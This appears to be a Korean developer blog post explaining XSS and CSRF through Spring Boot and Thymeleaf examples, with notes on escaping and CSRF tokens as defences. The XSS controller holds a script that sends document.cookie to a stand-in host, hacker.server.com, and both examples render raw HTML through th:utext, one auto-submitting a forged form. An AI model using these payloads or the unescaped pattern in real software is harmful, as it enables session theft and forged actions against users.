반응형

XSS(Cross-Site Scripting)

설명

  • 웹사이트에 악성 스크립트를 삽입하여 사용자의 정보(쿠키, 세션) 등을 탈취하거나 비정상적인 기능을 수행하게 할 수 있는 공격을 말한다.
  • 예를 들면 게시판의 한 게시글을 읽을 경우 해커가 심어놓은 스크립트를 동작하도록 하여 해당 사용자의 쿠키 정보를 해커 서버로 전송하도록 유도하여 공격할 수 있다.
  • 공격 대상이 클라이언트이다.
  • 보통 스크립트를 활용하는 공격 방식이기 때문에 script와 관련된 코드는 일반 평문으로 치환하는 방식으로 공격을 대응한다.
    • ex) "<" -> "&lt"
    • ex) ">" -> "&gt"
  • 예시 코드는 spring boot + thymeleaf 조합으로 작성하였다.

unsafe.html

  • 경로 : ~/src/main/resources/templates/unsafe.html
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:th="http://www.thymeleaf.org">
<head>
  <meta charset="UTF-8">
  <title>Unsafe</title>
</head>
<body>
<div th:utext="${content}"></div>
</body>
</html>

XssController

@Controller
public class XssController {
    @GetMapping("/xss")
    public String tryXssAttack(Model model) {
        // 해커가 작성한 게시글 내용이 아래와 같고, 한 사용자가 이 게시글을 읽을 경우
        // 아래 스크립트가 동작하여 해커 서버로 사용자의 쿠키 정보를 전달한다.
        StringBuilder html = new StringBuilder();
        html.append("<script>");
        html.append("window.onload = function() {");
        html.append("fetch('http://hacker.server.com:8080/save-cookies?cookies=' + document.cookie);");
        html.append("}");
        html.append("</script>");
        model.addAttribute("content", html);
        return "unsafe";
    }
}

CSRF(Scross-Site Request Forgery)

설명

  • 사용자가 자신의 의지와 무관하게 공격자가 의도한 행위로 해당 웹사이트에 요청하도록 유도하는 공격을 말한다.
  • 예를 들면 게시판의 한 게시글을 읽을 경우 해커가 심어 놓은 스크립트를 동작하도록 하여 해당 사용자의 권한으로 다른 게시글을 작성하게 할 수 있다.
  • 공격 대상이 서버이다.
  • 의도하지 않은 요청 발생을 막기 위해 의도한 요청만 처리되도록 CSRF 토큰과 같은 인증 방식을 도입하여 대응한다.
    • ex) 서버에서 form 요청을 하는 페이지를 내려줄 때 form 태그 안에 hidden input으로 csrf 토큰값을 넣고 해당 값으로 검증하여 처리
  • 위와 마찬가지로 예시 코드는 spring boot + thymeleaf 조합으로 작성하였다.

unsafe.html

  • 경로 : ~/src/main/resources/templates/unsafe.html
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:th="http://www.thymeleaf.org">
<head>
  <meta charset="UTF-8">
  <title>Unsafe</title>
</head>
<body>
<div th:utext="${content}"></div>
</body>
</html>

CsrfController

@Controller
public class CsrfController {
    @GetMapping("/csrf")
    public String tryCsrfAttack(Model model) {
        // 해커가 작성한 게시글 내용이 아래와 같고, 한 사용자가 이 게시글을 읽을 경우
        // 아래 스크립트가 동작하여 해당 사용자가 의도하지 않은 또다른 게시글을 작성하도록 한다.
        StringBuilder html = new StringBuilder();
        html.append("<div>");
        html.append("<form method='post' action='/boards' id='my_form'>"); // 해당 사이트의 게시글 작성 요청이 POST /boards
        html.append("<input name='title' value='Hi'/>");
        html.append("<input name='content' value='Thanks'/>");
        html.append("</form>");
        html.append("<script>");
        html.append("window.onload = function() {");
        html.append("document.querySelector('#my_form').submit();");
        html.append("}");
        html.append("</script>");
        html.append("</div>");
        model.addAttribute("content", html);
        return "unsafe";
    }
}
반응형

'Development > Security' 카테고리의 다른 글

[Security] Reflected XSS  (0) 2020.12.30
[Security] ReDos Attack  (0) 2020.12.30

+ Recent posts